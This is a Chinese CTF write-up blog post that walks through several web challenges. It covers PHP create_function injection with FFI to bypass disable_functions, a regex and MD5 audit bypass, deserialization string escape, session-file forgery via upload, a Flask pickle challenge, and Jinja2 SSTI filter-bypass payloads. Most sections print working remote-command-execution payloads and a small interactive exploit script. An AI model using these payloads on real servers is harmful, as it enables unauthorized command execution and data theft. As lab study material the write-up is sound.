GWHT


GWHT上的一些题目

最近又懒了,趁着国庆假期,赶紧刷完。

Plane or Rocket

F12查看源代码,发现一段比较奇怪的代码

$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']); 

php中$_REQUEST可以获取以POST方法和GET方法提交的数据,$_REQUEST是一个超全局变量,缺点:速度比较慢 。

这里可以动态的执行php代码,此刻应该联想到create_function代码注入:

create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

所以我们先构造phpinfo()来看一下本题禁用了哪些函数

payload:/?fighter=create_function&fights=&invincibly=;}phpinfo();/*

查看disable_function得到

system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

并且我们在phpinfo中也看到FFI处于enable状态,所以应该是需要我们使用PHP 7.4 的FFI绕过disabled_function

3

我们首先尝试调用C库的system函数:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char *command);");$ffi->system("ls / > /tmp/res.txt");echo file_get_contents("/tmp/res.txt");/*

C库的system函数执行是没有回显的,所以需要将执行结果写入到tmp等有权限的目录中,最后再使用 echo file_get_contents(“/tmp/res.txt”); 查看执行结果即可。但是这道题执行后却发现有任何结果,可能是我们没有写文件的权限。

C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现:

FILE *popen(const char* command, const char* type);

popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。

参数 type 可使用 “r”代表读取,”w”代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。

所以,我们还可以利用C库的popen()函数来执行命令,但要读取到结果还需要C库的fgetc等函数。payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

读到如下的内容

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
readflag
root
run
run.sh
sbin
srv
sys
tmp
usr
var

接下就是读flag

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("/readflag","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

其次,我们还有一种思路,即FFI中可以直接调用php源码中的函数,比如这个php_exec()函数就是php源码中的一个函数,当他参数type为3时对应着调用的是passthru()函数,其执行命令可以直接将结果原始输出,payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*

接着读flag

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"/readflag");/*

脚本如下

mport requests

url = "http://127.0.0.1:80/"

data = {"fighter": "create_function", "fights": "", "invincibly": """}$e=FFI::cdef("void *popen(char*,char*);\\nvoid pclose(void*);\\nint fgetc(void*);","libc.so.6");$o = $e->popen($_REQUEST['cmd'],"r");$d="";while(($c=$e->fgetc($o))!=-1){$d.=str_pad(strval(dechex($c)),2,"0",0);}$e->pclose($o);echo hex2bin($d);/*"""}

data = {"fighter": "create_function", "fights": "", "invincibly": """}$e=FFI::cdef("int php_exec(int type, char *cmd);");$e->php_exec(3,$_REQUEST['cmd']);/*"""}

while 1:
    cmd = input("cmd:>")
    res = requests.post(url, data=data, params={"cmd": cmd})
    result = res.text.split("-->")[1]
    print(result)

最后发现antsword有绕过功能,可以显示可执行的命令和,并且自动帮你绕过


Easy_Audit_Final

打开发现是一个百度的页面,好像没什么特殊的

dirsearch-master扫一波,发现了一个index1.php

访问该页面得到

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf111..');
    }
}

if($_SERVER){
    if(preg_match('/nyanyanya|flag|gwht/i', $_SERVER['QUERY_STRING']))  die('waf222..');
}

if(isset($_GET['nyanyanya'])){
    if(!(substr($_GET['nyanyanya'], 32) === md5($_GET['nyanyanya']))){         //日爆md5!!!!!!
        die('waf333..');
    }else{
        if(preg_match('/^gwhtyyds$/', $_GET['gwht']) && $_GET['gwht'] !== 'gwhtyyds'){
            $getflag = file_get_contents($_GET['flag']);
        }
        if(isset($getflag) && $getflag === 'xiaoyang_yyds'){
            include 'flag.php';
            echo $flag;
        }else die('waf444..');
    }
}


?>

接下来开始审计

highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf111..'); //不能为字母
    }
}

可以使用数组绕过preg_match()函数,不过这样就无法绕过下面的preg_match(‘/^gwhtyyds$/‘, $GET[‘gwht’])了。$REQUEST可以获取传过来的get、post参数,如果get、post过来的变量名一样的话就 会产生覆盖。如果变量名相同,默认post的数据会覆盖get到的数据。这样就可以绕过。

if($_SERVER){
    if(preg_match('/nyanyanya|flag|gwht/i', $_SERVER['QUERY_STRING']))  die('waf222..');
}

$_SERVER可以获取URL的?后面的字符串,对URL?后的内容进行URL编码绕过

if(isset($_GET['nyanyanya'])){
    if(!(substr($_GET['nyanyanya'], 32) === md5($_GET['nyanyanya']))){         //日爆md5!!!!!!
        die('waf333..');
    }

这里的绕过思路很简单,传进去是个数组的时候,值就为空,自然就相等了

else{
        if(preg_match('/^gwhtyyds$/', $_GET['gwht']) && $_GET['gwht'] !== 'gwhtyyds'){
            $getflag = file_get_contents($_GET['flag']);
        }

这里要求我们匹配到gwhtyyds,但是又不能等于 gwhtyyds,要注意,这里有一个/^,说明从字符串开头就要开始匹配了,所以我们选择%0a截断绕过

综上,payload如下:

?%6eyanyanya[]=&gwh%74=gwh%74yyds%0a&%66lag=data://text/plain;charset=unicode,xiaoyang_yyds

POST:flag=1&gwht=1

得到flag


gwht

折磨了好久才出来,还是太菜了

<?php

error_reporting(0);

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');//galf.php
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('NEKO.png');
}else{
    $_SESSION['img'] = md5(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if(!$function){
    highlight_file('GWHT.php');
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img'])); 

打开得到源码,接着开始审计

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');//galf.php
    $filter = '/'.implode('|',$filter_arr).'/i'; /*implode(parameter1,parameter2)
                                                   两个参数,parameter1为要添加的内容,parameter2为数组
                                                   implode会将数组parameter2内每一个值后面添加parameter1*/
    return preg_replace($filter,'',$img);
}

这里提示了galf.php,访问一下,发现是空白的

这里申明了一个叫filter的方法,过滤了一些关键字,将传入值中的关键字用“ ”替换

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

这里是重置一下session的值

extract($_POST) 把数组转为变量,该函数使用数组键名作为变量名,使用数组键值作为变量值,存在变量覆盖漏洞

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('NEKO.png');
}else{
    $_SESSION['img'] = md5(base64_encode($_GET['img_path']));
}

如果没有img_path传入就将NEKO.png base64编码传给img;相反将传入的img_path base64编码再md5编码传给img。

$serialize_info = filter(serialize($_SESSION));

序列化$_SESSION,过滤后,赋值给$serialize_info

if(!$function){
    highlight_file('GWHT.php');
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img'])); 

function为空则显示GWHT.php

如果function为show_image,userinfo反序列化后相当于等于被过滤后的$_SESSION,最后返回(base64_decode($userinfo[‘img’]))的内容

前面出现过一个galf.php,这里应该是需要我们去读那个文件,而f=show_image时,正好可以读取文件,接下来开始构造即可

现在我们就要base64_decode($userinfo[‘img’])=galf.php,

那么就要$userinfo[‘img’]=Z2FsZi5waHA=,

而$userinfo又是通过$serialize_info反序列化来的,

$serialize_info又是通过session序列化之后再过滤得来的,且经过了fliter函数处理。

session包含了三部分:user、function和img,session里面的img在这里赋值,我们指定的话会被md5,到时候就不能被base64解密了,它的值在extract的后面,是不可控的:

因为extract($_POST)在赋值的后面,也就是说这两个值是可以控制的,也就是可以给它们重新赋值。

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

这里就应该会想到反序列化字符串逃逸

那为什么会想到反序列化字符串逃逸呢?

接着看。他是将$_SESSION数组序列化后把’php’,’flag’,’php5’,’php4’,’fl1g’换为空然后再进行反序列化。最后把$_SESSION[‘img’]的值base64解码后读取原码。

如果没有黑名单过滤的步骤,那么他序列化后再反序列化得到的就是他原来的值,再取$_SESSION[‘img’]。

但是无论你传不传img_path的值,得到的$_SESSION[‘img’]都不是我们想要的,虽然这里的base64加密对应了后面的解密,但是他多了一个sha1的加密。肯定要想办法绕过这里。再看黑名单过滤,重点是它会序列化后把敏感的词换为空,导致了字符串长度发生了改变,这就想到了字符串逃逸。

<?php
$_SESSION["user"]='flagflagflagflagflagflag'$_SESSION["function"]='a";s:3:"img";s:12:"Z2FsZi5waHA=";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
    
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:51:"a";s:3:"img";s:12:"Z2FsZi5waHA=";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为

a:3:{s:4:"user";s:24:"";s:8:"function";s:51:"a";s:3:"img";s:12:"Z2FsZi5waHA=";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

将这串字符串进行序列化会得到什么? 这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:“function”;s:59:”a,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) {
  ["user"]=>
  string(24) "";s:8:"function";s:51:"a"
  ["img"]=>
  string(12) "Z2FsZi5waHA="
  ["dd"]=>
  string(1) "a"
}

可以发现,SESSION数组的键值img对应的值发生了改变。 设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用’Z2FsZi5waHA=’代替了真正的base64编码,读取了galf.php的内容。而识别完成后最后面的”;s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;}被忽略掉了,不影响正常的反序列化过程。

最后我们开始实现逃逸

get传参:?f=show_image

post调用extract函数实现变量覆盖,这里有三种post方式,均可以实现逃逸,可对比学习规律

<?php
    #方法一
    $_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:12:"Z2FsZi5waHA=";}';
    #结果 a:1:{s:8:"flagflag";s:43:"";s:3:"aaa";s:3:"img";s:12:"Z2FsZi5waHA=";}";},这里就造成img不成为一个键,也就无法进行加密
    #过滤掉flag有
    #a:1:{s:8:"";s:43:"";s:3:"aaa";s:3:"img";s:12:"Z2FsZi5waHA=";}";}
    #使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来
    
    #方法二
    $_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:12:"Z2FsZi5waHA=";}';
   
    #方法三
    $_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:12:"Z2FsZi5waHA=";}';
?>

即可得到flag


upload

打开依旧是源码

<?php
error_reporting(0);

function deldir($path){
    if(is_dir($path)){
        $p = scandir($path);
        foreach($p as $val){
            if($val !="." && $val !=".."){
                if(is_dir($path.$val)){
                    deldir($path.'/'.$val);
                    @rmdir($path.'/'.$val);
                }else{
                    unlink($path.'/'.$val);
                    @rmdir($path);
                }
            }
        }
    }
}

session_save_path("./upload/");
session_start();
require_once "./flag.php";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='./upload/success.txt';
    if(file_exists($filename)){
        $_SESSION['username']='guest';
        deldir($filename);
        die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "./upload/".$attr;
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
    echo $upload_result;
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            echo $file_path;
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    echo '<br>'.$download_result;
    exit;
}
?> 

还是一段一段分析一下

function deldir($path){
    if(is_dir($path)){
        $p = scandir($path);
        foreach($p as $val){
            if($val !="." && $val !=".."){
                if(is_dir($path.$val)){
                    deldir($path.'/'.$val);
                    @rmdir($path.'/'.$val);
                }else{
                    unlink($path.'/'.$val);
                    @rmdir($path);
                }
            }
        }
    }
}

遍历文件并清除

session_save_path("./upload/");
session_start();
require_once "./flag.php"; 

前面设置了session存储路径,启动了session并根目录下包含flag.php

if($_SESSION['username'] ==='admin')
{
    $filename='./upload/success.txt';
    if(file_exists($filename)){
        $_SESSION['username']='guest';
        deldir($filename);
        die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
} 

如果session的username是admin,判断upload目录下是否有success.txt,如果存在,删除文件并输出$flag
否则设置username为guest

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "./upload/".$attr; 

设置两个post参数direction、attr,$dir_path拼接路径。

if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
    echo $upload_result;
}

如果direction设置为upload,首先判断是否正常上传,通过则在$dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256值,之后限制目录穿越,创建相应目录,把文件上传到目录下。

elseif ($direction === "download") {//如果direction设置为download
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

若direction设置为download,读取上传上来的文件名,拼接为$file_path,限制目录穿越,判断是否存在,存在则返回文件内容。

易得得到flag需要满足

$_SESSION[‘username’] ===‘admin’
$filename=’./upload/success.txt’

也就是说我们要伪造自己的username是admin,并创建一个success.txt文件。

接下来我们便伪造session

php的session默认存储文件名是sess_+PHPSESSID的值,我们先看一下session文件内容。
查看cookie中PHPSESSID

构造direction=download&attr=&filename=sess_tstmk33u5agfjgdjl2g5rklq5lpost传入,在返回内容中读到内容

username|s:5:"guest";

不同的引擎所对应的session的存储方式有

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

因此我们可以判断这里session处理器为php,那么我们可以在本地利用php生成我们要伪造的session文件。

<?php
ini_set('session.serialize_handler', 'php');
session_save_path("D:\\phpstudy_pro\\WWW\\testphp\\");
session_start();

$_SESSION['username'] = 'admin';

先伪造sess文件,随后将文件名改为sess,sha256得到一串值,加到后面,得到真正的文件名

<?php
echo hash_file("sha256",'D:\phpstudy_pro\WWW\testphp\sess');

这样,如果我们将sess文件上传,服务器储存该文件的文件名就应该是

sess_93a84af02e9b3ecabc4796cd0668c3fda0c2f9f76cdd223a1cc94fddaa297bf8

这里用到一个名为postman的软件进行文件上传

构造direction=download&attr=&filename=sess_93a84af02e9b3ecabc4796cd0668c3fda0c2f9f76cdd223a1cc94fddaa297bf8看是否上传成功

username|s:5:"admin";
downloaded

现在还需要创建一个success.txt来满足判断,回到代码

if($_SESSION['username'] ==='admin')
{
    $filename='./upload/success.txt';
    if(file_exists($filename)){
        $_SESSION['username']='guest';
        deldir($filename);
        die($flag);
    }
} 

file_exists是检查文件或者目录是否存在

文件名设置不了,直接创建目录也符合条件,将attr设置为success.txt创建目录,再将sess上传到该目录下即可绕过判断

接下来那么现在我们把PHPSESSID改为sess的文件sha256值让session的username为admin那么现在我们把PHPSESSID改为sess的文件sha256值让session的username为admin

刷新得到flag


opcode

linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。

maps 记录一些调用的扩展或者自定义 so 文件

environ 环境变量

comm 当前进程运行的程序

cmdline 程序运行的绝对路径

cpuset docker 环境可以看 machine ID

cgroup docker环境下全是 machine ID 不太常用

所以先访问一下/proc/self/cmdline,获取程序运行的绝对路径,得到一串base64,解码得到python app.py

接下来接着读取app.py,得到

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()




app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/read', methods = ["GET"])
def read():
    file = request.args.get('file')
    if "flag" in file:
        return "no way"
    try:
        f = open(file, 'rb').read()
    except Exception as e:
        print(e)
        return "error"
    return base64.b64encode(f)

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    return username

@app.route('/', methods = ["GET","POST"])
def index():
    return "/read?file="

if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')

看到这个源码,直接泄露了 SECRET_KEY,可以使用 flask-session-cookie-manager 破解session

{'data': b'base64编码后的序列化内容', 'username': 'admin'}

但是比较麻烦的在这里

if "R" in data.decode():
            return "nonono"

序列化字符串中不能存在 R,而 reduce 就是用到了R指令,不过也毫不意外,毕竟题目提示的就是要手写 opcode,在不使用 R 指令的情况下执行命令

写不下去了,还是不懂,以后再写了


SSTI2

搜了一下,应该是一道华为2020CTF的题目,感觉挺难的,自己做没做出来,看着WP复现一下。

F12看一下源码,发现有一个定向,看到msg隐约感觉是个SSTI注入

使用1实验一下,发现确实是,下一个fuzz字典测试一下过滤了什么,方便我们做题(网上好像没找到现成的,自己写了一个,应该不太全,以后慢慢完善)

使用bp进行爆破,发现确实存在过滤

接下来看一下使用的是什么模板,寻找相应的payload就行了

发现使用的是py2.7,那么我们就寻找py2.7的ssti注入就行了

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['system']('whoami')

().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")


{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')[-1]

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('sleep 2333')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /etc/issue").read()

# 总而言之是有很多的。。。

这里过滤了单引号 ‘ ,和双引号 “ ,就不能够使用一些如 16进制 、8进制 的方法绕过形如 “_“ 的字符了,不过可以使用一些新的姿势来从别的地方引入字符。

比如可以从请求内容入手:

request.form.get
request.args.get
request.cookies.get
request.values.get
request.headers.get
request.json.get

不过有些给ban了,比如说agrs headers json,这里可以用 request.cookie.get 或者 request.values.get 来获取传参的内容作为字符串。只是还有一个问题需要解决,就是如何传入指定键名的参数。可以用以下语句来获取单个字符作为键名:

(dict|string|list).pop(?)

其中 dict|string 可以得到 <type ‘dict’> 这个字符串

而 dict|string|list 可以得到关于上述字符串的列表 [u’<’, u’t’, u’y’, u’p’, u’e’, u’ ‘, u”‘“, u’d’, u’i’, u’c’, u’t’, u”‘“, u’>’]

由于点 ‘.’ 没被过滤,那么就可以使用 (dict|string|list).pop(?) 这个语句获取字符串列表的第 ? 个值。

比如 (dict|string|list).pop(0) 的值为 <
通过以上的组合就可以取得到一些特定的键名了,这里比如可以组合成以下的payload:

?msg={{request.values.get((dict|string|list).pop(0))}}&<=tql

现在就可以构造任意字符串了,不过至多只能构造 12 个字符(<type ‘dict’> 只有12个字符是不同的),其实也基本上是够用的了。

然后形如 ‘()._class_‘ 可以使用 attr 以及上边所说的 任意传参 来进行绕过,比如 ().__class__:

?msg={{()|attr(request.values.get((dict|string|list).pop(0)))}}&<=__class__
那么**'['** **']'**  这个可以用 **\_\_getitem\_\_** 来绕过,那么payload可以这样拼:
# 需要拼成的payload
().__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /etc/issue").read()

# 拼接伪格式
(()|attr(`<`__class__)|attr(`t`__base__)|attr(`y`__subclasses__)()|attr(`p`__getitem__)(59)|attr(`e`__init__)|attr(`%20`func_globals)).linecache.os.popen(`%27`RCE).read()

# 最终payload
http://120.55.164.48:6060/success?msg={{(()|attr(request.values.get((dict|string|list).pop(0)))|attr(request.values.get((dict|string|list).pop(1)))|attr(request.values.get((dict|string|list).pop(2)))()|attr(request.values.get((dict|string|list).pop(3)))(59)|attr(request.values.get((dict|string|list).pop(4)))|attr(request.values.get((dict|string|list).pop(5)))).linecache.os.popen(request.values.get((dict|string|list).pop(6))).read()}}&%3C=__class__&t=__base__&y=__subclasses__&p=__getitem__&e=__init__&%20=func_globals&%27=rce

最后直接执行cat /flag即可,这道题是cat flag.txt

最终payload

http://120.55.164.48:6060/success?msg={{(()|attr(request.values.get((dict|string|list).pop(0)))|attr(request.values.get((dict|string|list).pop(1)))|attr(request.values.get((dict|string|list).pop(2)))()|attr(request.values.get((dict|string|list).pop(3)))(59)|attr(request.values.get((dict|string|list).pop(4)))|attr(request.values.get((dict|string|list).pop(5)))).linecache.os.popen(request.values.get((dict|string|list).pop(6))).read()}}&%3C=__class__&t=__base__&y=__subclasses__&p=__getitem__&e=__init__&%20=func_globals&%27=cat flag.txt

事实上这道题没有过滤.,所以我们可以可以用 .pop(?) 来代替 getitem

payload:

http://120.55.164.48:6060/success?msg=
{{(()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)().pop(59)|attr(request.values.x4)|attr(request.values.x5)).linecache.os.popen(request.values.x6).read()}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=func_globals&x6=cat flag.txt

但是不知道为什么这个payload打上去没有用


fxxk the cms

2021绿城杯的一道题目,事实上eyoucms上面全部都是洞,这道题目阉割了一部分功能,还修了一部分洞,所以重点应该是找到从哪里入手,这里复现一下。

复现环境为eyoucms1.5.3,hint为xxe

百度了一下


java_yu门题


文章作者: Cu3tuv0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cu3tuv0 !
评论
  目录